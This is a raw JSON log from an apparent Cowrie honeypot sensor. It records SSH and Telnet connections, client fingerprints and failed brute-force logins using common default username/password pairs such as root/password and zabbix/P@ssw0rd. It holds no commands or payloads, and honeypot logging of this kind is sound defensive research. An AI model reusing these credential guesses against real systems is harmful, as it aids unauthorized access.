{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":40956,"dst_ip":"10.17.0.5","dst_port":22,"session":"1de2c04975d3","protocol":"ssh","message":"New connection: 45.153.34.97:40956 (10.17.0.5:22) [session: 1de2c04975d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:42.226364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:42.230585Z","src_ip":"45.153.34.97","session":"1de2c04975d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:42.305319Z","src_ip":"43.135.177.217","session":"4a21b7fca5c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:42.313462Z","src_ip":"45.153.34.97","session":"1de2c04975d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"password","message":"login attempt [demo/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:43.169173Z","src_ip":"45.153.34.97","session":"1de2c04975d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:44.381885Z","src_ip":"45.153.34.97","session":"1de2c04975d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":54576,"dst_ip":"159.203.135.109","dst_port":22,"session":"16fd91401aeb","protocol":"ssh","message":"New connection: 43.130.38.88:54576 (159.203.135.109:22) [session: 16fd91401aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:45.883926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:45.893229Z","src_ip":"43.130.38.88","session":"16fd91401aeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:45.961613Z","src_ip":"43.130.38.88","session":"16fd91401aeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bbx","password":"bbx","message":"login attempt [bbx/bbx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:46.265578Z","src_ip":"43.130.38.88","session":"16fd91401aeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":40958,"dst_ip":"10.17.0.5","dst_port":22,"session":"d30cc41c5fb3","protocol":"ssh","message":"New connection: 45.153.34.97:40958 (10.17.0.5:22) [session: d30cc41c5fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:46.330116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:46.335168Z","src_ip":"45.153.34.97","session":"d30cc41c5fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:46.418110Z","src_ip":"45.153.34.97","session":"d30cc41c5fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:46.681033Z","src_ip":"45.153.34.97","session":"d30cc41c5fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38834,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2781d3d71e1","protocol":"telnet","message":"New connection: 152.42.224.71:38834 (10.17.0.5:23) [session: f2781d3d71e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:47.080879Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:47.336835Z","src_ip":"43.130.38.88","session":"16fd91401aeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:47.776889Z","src_ip":"45.153.34.97","session":"d30cc41c5fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.90.250.83","src_port":53335,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfec18a74974","protocol":"telnet","message":"New connection: 72.90.250.83:53335 (10.17.0.5:23) [session: dfec18a74974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:48.729776Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":48178,"dst_ip":"10.17.0.5","dst_port":22,"session":"4abb2820fd1b","protocol":"ssh","message":"New connection: 45.153.34.97:48178 (10.17.0.5:22) [session: 4abb2820fd1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:50.292781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:50.297639Z","src_ip":"45.153.34.97","session":"4abb2820fd1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:50.393228Z","src_ip":"45.153.34.97","session":"4abb2820fd1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"P@ssw0rd","message":"login attempt [zabbix/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:51.003364Z","src_ip":"45.153.34.97","session":"4abb2820fd1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:52.090261Z","src_ip":"45.153.34.97","session":"4abb2820fd1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":48186,"dst_ip":"10.17.0.5","dst_port":22,"session":"9402c2dc48e5","protocol":"ssh","message":"New connection: 45.153.34.97:48186 (10.17.0.5:22) [session: 9402c2dc48e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:54.287652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:54.292743Z","src_ip":"45.153.34.97","session":"9402c2dc48e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:54.380331Z","src_ip":"45.153.34.97","session":"9402c2dc48e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"p@ssw0rd","message":"login attempt [kafka/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:54.678775Z","src_ip":"45.153.34.97","session":"9402c2dc48e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:56.079951Z","src_ip":"45.153.34.97","session":"9402c2dc48e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":33116,"dst_ip":"10.17.0.5","dst_port":22,"session":"69af340590be","protocol":"ssh","message":"New connection: 43.153.36.83:33116 (10.17.0.5:22) [session: 69af340590be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:56.519475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:56.525190Z","src_ip":"43.153.36.83","session":"69af340590be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:56.594127Z","src_ip":"43.153.36.83","session":"69af340590be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aq1sw2de3","message":"login attempt [root/aq1sw2de3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:56.901829Z","src_ip":"43.153.36.83","session":"69af340590be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:57.975498Z","src_ip":"43.153.36.83","session":"69af340590be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":48190,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2d917ecd3df","protocol":"ssh","message":"New connection: 45.153.34.97:48190 (10.17.0.5:22) [session: d2d917ecd3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:58.187891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:58.197578Z","src_ip":"45.153.34.97","session":"d2d917ecd3df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:58.288464Z","src_ip":"45.153.34.97","session":"d2d917ecd3df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alpha","password":"alpha","message":"login attempt [alpha/alpha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:58.777534Z","src_ip":"45.153.34.97","session":"d2d917ecd3df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:05:59.875629Z","src_ip":"45.153.34.97","session":"d2d917ecd3df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46822,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1ba826a28fb","protocol":"telnet","message":"New connection: 152.42.224.71:46822 (10.17.0.5:23) [session: e1ba826a28fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:00.128804Z"}
{"eventid":"cowrie.session.closed","duration":12.452852249145508,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:01.182511Z","src_ip":"72.90.250.83","session":"dfec18a74974","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":45254,"dst_ip":"10.17.0.5","dst_port":22,"session":"543998dfe001","protocol":"ssh","message":"New connection: 45.153.34.97:45254 (10.17.0.5:22) [session: 543998dfe001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:02.294472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:02.299896Z","src_ip":"45.153.34.97","session":"543998dfe001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:02.389863Z","src_ip":"45.153.34.97","session":"543998dfe001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"spark","password":"spark","message":"login attempt [spark/spark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:02.673332Z","src_ip":"45.153.34.97","session":"543998dfe001","protocol":"ssh"}
